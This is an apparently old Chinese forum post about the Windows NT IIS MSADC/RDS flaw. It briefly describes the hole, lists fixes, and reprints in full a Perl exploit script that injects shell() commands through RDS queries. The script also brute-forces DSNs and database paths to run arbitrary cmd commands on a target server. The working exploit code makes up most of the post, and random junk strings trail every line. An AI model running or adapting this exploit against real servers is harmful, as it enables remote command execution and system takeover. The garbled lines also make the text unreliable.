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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) !b_(|~7Lc  
OGg\VV'  
涉及程序: F/ZFO5C%  
Microsoft NT server |P]W#~Y-  
}O7sP^  
描述: we[+6Z6J  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 D(ItNMc Ku  
=s":Mx,o  
详细: rlR!Tc>  
如果你没有时间读详细内容的话,就删除: Fc@R,9  
c:\Program Files\Common Files\System\Msadc\msadcs.dll "'bl)^+?,  
有关的安全问题就没有了。 %B\x %e ;P  
3as=EYm  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 HhQ0>  
j~>{P=_}  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 beo(7,=&  
关于利用ODBC远程漏洞的描述,请参看: :=y5713  
zEU[u7%  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm Q&.uL}R  
0zNbux_  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 @\w}p E  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp +ZNOvcsV  
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这里不再论述。 u ,3B[  
y:98}gW`n  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: AC1RP`c  
\4wMv[;7  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset #dae^UjM  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! 0#OyT'~V%  
<~5O-.G]  
F:q4cfL6  
#将下面这段保存为txt文件,然后: "perl -x 文件名" NH|I>vyN  
_ cQ '3@  
#!perl "W"^0To  
# vcdVck@  
# MSADC/RDS 'usage' (aka exploit) script 3!l>\#q6  
# 9{OO'at?  
# by rain.forest.puppy uQ-GJI^t  
# =( |%%,3  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me ={;pg(  
# beta test and find errors! IWu=z!mO  
|:5O|m '  
use Socket; use Getopt::Std; ldUZ\z(*  
getopts("e:vd:h:XR", \%args); v|(]u3=1_  
nQmHYOF%  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; q~ a FV<Q  
nSyLt6zn\  
if (!defined $args{h} && !defined $args{R}) { ]S4"JcM  
print qq~ I :<,9.   
Usage: msadc.pl -h <host> { -d <delay> -X -v } xg/(  
-h <host> = host you want to scan (ip or domain) uQvTir*e  
-d <seconds> = delay between calls, default 1 second .4\I?  
-X = dump Index Server path table, if available I}bu  
-v = verbose %3qjgyLZ|  
-e = external dictionary file for step 5 pFY*Y>6ar  
FzX ;~CA  
Or a -R will resume a command session >[aR8J/U  
?pZU'5le`  
~; exit;} 5zBA]1PY  
GP c B(  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";  Kg';[G\  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} (|<S%?}J  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} fX`u"`o5  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);  bUS:c 2"  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} 4Y?2u  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } 5kw  K%  
zN!W_2W*  
if (!defined $args{R}){ $ret = &has_msadc; [@lK[7 u  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} _">F]ptI;  
YCiG~y/~  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" T;(,9>Qsu  
. "cmd /c "; v_5qE  
$in=<STDIN>; chomp $in; ru 6`Z+p  
$command="cmd /c " . $in ; (.P}>$M9  
`15}jTi  
if (defined $args{R}) {&load; exit;} z )hK2JD  
8%CznAO"?W  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; e2 c'Wab  
&try_btcustmr; MS;^:t1`  
<8 <P,  
print "\nStep 2: Trying to make our own DSN..."; =h4u N,  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; IW!x!~e  
"<0!S~]  
print "\nStep 3: Trying known DSNs..."; :bct+J}l~  
&known_dsn; O80Z7  
xcw:H&\w6  
print "\nStep 4: Trying known .mdbs..."; }&=l)\e  
&known_mdb; OU%"dmSDk  
g/.FJ-I*  
if (defined $args{e}){ VYb,Hmm>kC  
print "\nStep 5: Trying dictionary of DSN names..."; Ld*Ds!*'/  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } TNqL ')f  
4j3_OUwWZx  
print "Sorry Charley...maybe next time?\n"; 5go)D+6s  
exit; I[&x-}w  
s U`#hL6;  
############################################################################## .5; JnJI  
Pr} l y  
sub sendraw { # ripped and modded from whisker =? !FO'zt"  
sleep($delay); # it's a DoS on the server! At least on mine... (E0WZ $f}  
my ($pstr)=@_; k_}$d{X  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || $V 3If  
die("Socket problems\n"); <lFHmi$qt{  
if(connect(S,pack "SnA4x8",2,80,$target)){ esTL3 l{[  
select(S); $|=1; ?MFC(Wsh  
print $pstr; my @in=<S>; C '[4jz0xF  
select(STDOUT); close(S); {2q"9Ox"  
return @in; CrI<rD%'  
} else { die("Can't connect...\n"); }} &'12,'8  
_DSDY$Ec  
############################################################################## Zuzwc[Z1  
VgXT4gO!  
sub make_header { # make the HTTP request (nLzWvN  
my $msadc=<<EOT m#BXxS#B<_  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 c\ZI 5&4jT  
User-Agent: ACTIVEDATA X[?fU&  
Host: $ip 1sg:8AA  
Content-Length: $clen cZN<}n+q  
Connection: Keep-Alive ys[xR=nbD  
]mtiIu[  
ADCClientVersion:01.06 QaO9-:]eN  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 t+A*Ws*o  
u|wl;+.  
--!ADM!ROX!YOUR!WORLD! $Mg O)bH  
Content-Type: application/x-varg h$`m0-'  
Content-Length: $reqlen I@m(}  
Wy-_}wqHg  
EOT AAfU]4u0S  
; $msadc=~s/\n/\r\n/g; ,K}"o~z  
return $msadc;} vGsAM* vw6  
vh.8m $,  
############################################################################## Os[z >H?  
m<j;f  
sub make_req { # make the RDS request OH>Gc-V  
my ($switch, $p1, $p2)=@_; @:w^j0+h  
my $req=""; my $t1, $t2, $query, $dsn; SN"Y@y)=  
Mo3%OR  
if ($switch==1){ # this is the btcustmr.mdb query [gUD +  
$query="Select * from Customers where City=" . make_shell(); |s/Kb]t  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . r(wf>w3  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} C"n!mr{srt  
O\Y*s  
elsif ($switch==2){ # this is general make table query 3. dSS  
$query="create table AZZ (B int, C varchar(10))"; a:*N0  
$dsn="$p1";} yH:p*|%:  
&I ~'2mpk  
elsif ($switch==3){ # this is general exploit table query {=?[:5  
$query="select * from AZZ where C=" . make_shell(); 38&K"  
$dsn="$p1";} XS2/U<s d  
x$jLB&+ICz  
elsif ($switch==4){ # attempt to hork file info from index server F/J s K&&  
$query="select path from scope()"; rCqwJoC`v  
$dsn="Provider=MSIDXS;";} a\m=E#G  
z4D)Xy"/  
elsif ($switch==5){ # bad query 'J*'{  
$query="select"; F}mt *UcMG  
$dsn="$p1";} GTbV5{Ss  
sQ\HIU%]  
$t1= make_unicode($query); 7p'pz8n`X  
$t2= make_unicode($dsn); &jEw(P&_  
$req = "\x02\x00\x03\x00"; 9?sY!gXc  
$req.= "\x08\x00" . pack ("S1", length($t1)); dCn9]cj/  
$req.= "\x00\x00" . $t1 ; n\ Lsm  
$req.= "\x08\x00" . pack ("S1", length($t2)); N68]r 3/K  
$req.= "\x00\x00" . $t2 ; V1Ft3Msq  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; 5hEA/G  
return $req;} ,^ ,R .T  
T*B`8P  
############################################################################## 'S}3lsIE  
hB<(~L? A]  
sub make_shell { # this makes the shell() statement i,~(_|-r  
return "'|shell(\"$command\")|'";} rg[#(  
+Goh`!$Rj9  
############################################################################## xC + >R1)  
])qnPoQ<n  
sub make_unicode { # quick little function to convert to unicode lrkgsv6  
my ($in)=@_; my $out; LsGO~EiJ  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } 3`D*AFQc  
return $out;} Vq#0MY)2gS  
a"4X7 D+  
############################################################################## ,b^jAzow  
B:i$  
sub rdo_success { # checks for RDO return success (this is kludge) ;L76V$&  
my (@in) = @_; my $base=content_start(@in); A+Un(tU2(  
if($in[$base]=~/multipart\/mixed/){ rvhMu}.  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} ZX-A}  
return 0;} x/]G"?Uix  
6E ^m*la%  
############################################################################## c'?EI EP  
"<egm^Yq  
sub make_dsn { # this makes a DSN for us RI'}C`%v  
my @drives=("c","d","e","f"); AWFq5YMSI  
print "\nMaking DSN: "; I^LU*A=  
foreach $drive (@drives) { c<q33dZ!*  
print "$drive: "; |R91|-H  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . vfT @;`  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" iX2exJto  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); V?T&>s  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; ErA*a3  
return 0 if $2 eq "404"; # not found/doesn't exist 9;*B*S~znW  
if($2 eq "200") { OP(om$xm  
foreach $line (@results) { fi'zk  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} o6x8j z  
} return 0;} &sn-;r  
YJwI@E(l$  
############################################################################## U7zd7 O  
`|nJAW3  
sub verify_exists { AVz907h8  
my ($page)=@_; 2sqH > fen  
my @results=sendraw("GET $page HTTP/1.0\n\n"); b~ig$!N]  
return $results[0];} @QpL*F  
 S{XO3  
############################################################################## |'}r-}  
V@G|2ZI  
sub try_btcustmr { l9%ckC*q  
my @drives=("c","d","e","f"); ZZ}HgPZ  
my @dirs=("winnt","winnt35","winnt351","win","windows"); B|^=2 >8s  
P"Q6wdm  
foreach $dir (@dirs) { Wl&6T1A`"  
print "$dir -> "; # fun status so you can see progress jv29,46K  
foreach $drive (@drives) { UY *Z`$  
print "$drive: "; # ditto 66W J=? JV  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; W>CG;x{  
$reqlenlen=length( "$reqlen" ); o<s~455m/  
$clen= 206 + $reqlenlen + $reqlen; M_$;"NS+}  
KCa @0  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); um". Z4S  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} T.{]t6t$U  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} #K-O<:s=y  
{vd +cE  
############################################################################## g_Y$5ft`  
_!Z}HCk  
sub odbc_error { qpf|.m  
my (@in)=@_; my $base; G!F_Q7|-  
my $base = content_start(@in); Z_jV0[\v0P  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this %gqu7}'  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; Ql}#mC.>/  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; sx[mbKj<  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; s<C66z  
return $in[$base+4].$in[$base+5].$in[$base+6];} D_z&G)  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; Ba%b]vp  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . `ST;";7!  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} N4yQ,tG>aa  
.zW.IM}Z  
############################################################################## >6(e6/C-9  
zU|'IW&  
sub verbose { 5NK yF  
my ($in)=@_; }&Xf<6  
return if !$verbose; Z2]\k|%<Fa  
print STDOUT "\n$in\n";} ZOJ7 ^g  
q+4<"b+6G  
############################################################################## 7bM H  
i94)DWZ^  
sub save { @, z4{B  
my ($p1, $p2, $p3, $p4)=@_; WR* <|  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; cR6 #$-a  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; O~Dm|hP  
close OUT;} (iO/@iw  
l2!ztK1^  
############################################################################## m0Uk*~Gz  
]>(pQD  
sub load { 2F,?}jJ.K  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; unN*L  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); riglEA[^  
@p=<IN>; close(IN); FePWr7Ze  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); RDqQ6(e"  
$target= inet_aton($ip) || die("inet_aton problems"); Zq/=uB7Z  
print "Resuming to $ip ..."; `g}en%5b\  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; >6zWOYd  
if($p[1]==1) { ,f~8:LHq  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; ~X) 1!Sr  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; K;g6V!U  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); b:*( f#"q  
if (rdo_success(@results)){print "Success!\n";} f1Gyl  
else { print "failed\n"; verbose(odbc_error(@results));}} gEq";B%?  
elsif ($p[1]==3){ Xr|e%]!**  
if(run_query("$p[3]")){ h4>q~&Pd  
print "Success!\n";} else { print "failed\n"; }} VpM(}QHd  
elsif ($p[1]==4){ 7I@@}A  
if(run_query($drvst . "$p[3]")){ 0ARj3   
print "Success!\n"; } else { print "failed\n"; }} ALR`z~1  
exit;} &nn+X%m9g  
R|7_iMIZ  
############################################################################## ]<o^Q[OL  
/T<,vR  
sub create_table { hQJ-  ~  
my ($in)=@_; (Vy`u)gG  
$reqlen=length( make_req(2,$in,"") ) - 28; l\=He  
$reqlenlen=length( "$reqlen" ); Ot!*,%sjQ  
$clen= 206 + $reqlenlen + $reqlen; VSc)0eyn  
my @results=sendraw(make_header() . make_req(2,$in,"")); Z#_VxA>]v  
return 1 if rdo_success(@results); $olITe"$g  
my $temp= odbc_error(@results); verbose($temp); G8hDR^ra  
return 1 if $temp=~/Table 'AZZ' already exists/; rEs Gf+4  
return 0;} c~Z\|Y`#B  
G]>P!]  
############################################################################## FPuF1@K  
j2!^iGS}  
sub known_dsn { z]Mu8  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go 6Y= MW{=F  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", `SESj)W(y  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", 6:Zd,N=  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); l$!g# ?w  
oIY@xuj  
foreach $dSn (@dsns) { ca!x{,Cvnj  
print "."; JsQmn<Yt  
next if (!is_access("DSN=$dSn")); v0~*?m4  
if(create_table("DSN=$dSn")){ @{^6_n+gT%  
print "$dSn successful\n"; rt!Uix&  
if(run_query("DSN=$dSn")){ vqBT^Q_q;  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { bQ_N^[oxQ  
print "Something's borked. Use verbose next time\n";}}} print "\n";} 'sAs#  
h<f]hJ`ep  
############################################################################## *}NJ  
lJXihr  
sub is_access { ,OaPrAt-  
my ($in)=@_; h*zHmkFR  
$reqlen=length( make_req(5,$in,"") ) - 28; 9|LV x3]  
$reqlenlen=length( "$reqlen" ); 2sqNTuO6,|  
$clen= 206 + $reqlenlen + $reqlen; gPM<LO`;i  
my @results=sendraw(make_header() . make_req(5,$in,"")); \bWo"Yo  
my $temp= odbc_error(@results); Z^vcODeC$  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); iN@+,]Yjl  
return 0;} JlN<w  
' +[fJ>Le  
############################################################################## gJI(d6  
C XiSin  
sub run_query { yBxWBW*e  
my ($in)=@_; nQ^ <h.  
$reqlen=length( make_req(3,$in,"") ) - 28; }Dc?Emb  
$reqlenlen=length( "$reqlen" ); ;AK@Kb  
$clen= 206 + $reqlenlen + $reqlen; }c0EGoU}?  
my @results=sendraw(make_header() . make_req(3,$in,"")); zJa,kN|m  
return 1 if rdo_success(@results); dWAKIBe  
my $temp= odbc_error(@results); verbose($temp); SXfAw)-n  
return 0;} ){{]3r  
Snf1vH  
############################################################################## sa>}wz<o  
3a]Omuu|=  
sub known_mdb { ZU-vZD>  
my @drives=("c","d","e","f","g"); N|L Ey  
my @dirs=("winnt","winnt35","winnt351","win","windows"); mg7Q~SLL{  
my $dir, $drive, $mdb; 9-?[%8  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";  d365{  
)'gO?cN  
# this is sparse, because I don't know of many C'jE'B5b  
my @sysmdbs=( "\\catroot\\icatalog.mdb", bMpCQ  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", J+6bp0RIh  
"\\system32\\certmdb.mdb", /6@Wm? `DB  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% H- aSLc  
WAt| J2  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", /5c;,.hm1R  
"\\cfusion\\cfapps\\forums\\forums_.mdb", ]f"l4ay@M  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", ~%o?J"y  
"\\cfusion\\cfapps\\security\\realm_.mdb", L[FNr&  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", c|^#v8x^/  
"\\cfusion\\database\\cfexamples.mdb", %.*?i9}  
"\\cfusion\\database\\cfsnippets.mdb", hJ1:#%Qe.  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", XN1\!CM8  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", .TTXg,8#D  
"\\cfusion\\brighttiger\\database\\cleam.mdb", r% ]^(  
"\\cfusion\\database\\smpolicy.mdb", nXuoRZ  
"\\cfusion\\database\cypress.mdb", ;/phZ$l  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", H6PS7g"  
"\\website\\cgi-win\\dbsample.mdb", BVpRkUC"  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", L=wg"$  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" hhVyz{u  
); #these are just m;"i4!  
foreach $drive (@drives) { m!-,K8  
foreach $dir (@dirs){ s&7,gWy}BE  
foreach $mdb (@sysmdbs) { }6V` U9 ^g  
print "."; 3bp'UEF^k  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ oAgO 3x   
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; f}1R,N_fC  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ +u:Q+PkM  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; ,TAzJ  
} else { print "Something's borked. Use verbose next time\n"; }}}}} 9e|]H+y  
^"!j m  
foreach $drive (@drives) { ]M;aVw<!  
foreach $mdb (@mdbs) { tzeS D C  
print "."; aN5w  
if(create_table($drv . $drive . $dir . $mdb)){ b8@gv OB  
print "\n" . $drive . $dir . $mdb . " successful\n"; s-He  
if(run_query($drv . $drive . $dir . $mdb)){ IT u6m<V  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; .v3~2r*&  
} else { print "Something's borked. Use verbose next time\n"; }}}} YQI&8~z  
} T]%:+_,  
phA^ kdW  
############################################################################## $m;rOKVU  
KF[P /cFI  
sub hork_idx { MH>CCT  
print "\nAttempting to dump Index Server tables...\n"; _bO4s#yI  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; xN +j]L C  
$reqlen=length( make_req(4,"","") ) - 28; aBO%qmtt  
$reqlenlen=length( "$reqlen" ); MWS=$N)v*  
$clen= 206 + $reqlenlen + $reqlen; 5`B ! 1  
my @results=sendraw2(make_header() . make_req(4,"","")); qd FYf/y  
if (rdo_success(@results)){ )NwIEk>Tf  
my $max=@results; my $c; my %d; |hprk-R*OH  
for($c=19; $c<$max; $c++){ '}D$"2I*  
$results[$c]=~s/\x00//g; ^=nJ,-(h_  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; : _>/Yd7-&  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; b'N(eka  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; ;n Pjyu'g  
$d{"$1$2"}="";} =2z9Aq{  
foreach $c (keys %d){ print "$c\n"; } P%6-W5<  
} else {print "Index server doesn't seem to be installed.\n"; }} + W ? / A]  
*k(>Qsb "  
############################################################################## >~kSe=Hsb4  
dX0"h5v1  
sub dsn_dict { X=<-rFW  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); :-=,([TJ  
while(<IN>){ vElVw. P  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; zd+_ BPT  
next if (!is_access("DSN=$dSn")); 72gQ<Si  
if(create_table("DSN=$dSn")){ Qifjv0&;u  
print "$dSn successful\n"; 5 ap~;t  
if(run_query("DSN=$dSn")){ h] (BTb#-  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { qd9CKd  
print "Something's borked. Use verbose next time\n";}}} mE"?{~XVL  
print "\n"; close(IN);} S[bFS7[  
j#TtY|Po  
############################################################################## +K3SAGm  
/=zzym~<>  
sub sendraw2 { # ripped and modded from whisker S?bG U8R5  
sleep($delay); # it's a DoS on the server! At least on mine... ]8|cV GMa  
my ($pstr)=@_; eUyQSI4A  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || \k{UqU+s  
die("Socket problems\n"); e>Vr#a4  
if(connect(S,pack "SnA4x8",2,80,$target)){ 6O^'J~wiI  
print "Connected. Getting data"; t$sL6|Ww}o  
open(OUT,">raw.out"); my @in; S?W!bkfn  
select(S); $|=1; print $pstr; G &'eP  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} KrhAObK  
close(OUT); select(STDOUT); close(S); return @in; mr+J#  
} else { die("Can't connect...\n"); }} gxX0$\8o7  
p:9)}y  
############################################################################## KB$s7S"=  
GT[,[l  
sub content_start { # this will take in the server headers %=:*yf>}  
my (@in)=@_; my $c; / -ebx~FX&  
for ($c=1;$c<500;$c++) { eGZX 6Q7m  
if($in[$c] =~/^\x0d\x0a/){ FF"6~  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } . mDh9V5  
else { return $c+1; }}} _R!KHi  
return -1;} # it should never get here actually x<'(b7{U0  
k\T,CZ<  
############################################################################## Hnv{sND[  
'sCj\N  
sub funky { >g%^hjJ  
my (@in)=@_; my $error=odbc_error(@in); u.wm;eK[  
if($error=~/ADO could not find the specified provider/){ GbC-6.~  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; &j\<UPn  
exit;} =#@eDm%  
if($error=~/A Handler is required/){ Yq;|Me{h  
print "\nServer has custom handler filters (they most likely are patched)\n"; E\V-< ]o  
exit;} OC|9~B1  
if($error=~/specified Handler has denied Access/){ D}SYv})Ti  
print "\nServer has custom handler filters (they most likely are patched)\n"; EK^B=)q6:W  
exit;}} ;- D1n  
b_&;i4[  
############################################################################## o#KGENd  
/P~@__XN  
sub has_msadc { sN^3bfi!i  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); &+?JY|u  
my $base=content_start(@results); @(Mg>.P  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); \bze-|C  
return 0;} r7z8ICX'q  
,~ D_T  
######################## 6N}>@Y5  
`mro2A  
8Z TN  
解决方案: r)P^CZm  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll ;}!hgyq  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 W\s ]qsLS  
-@49Zh2'  
拿出来充数 哈哈
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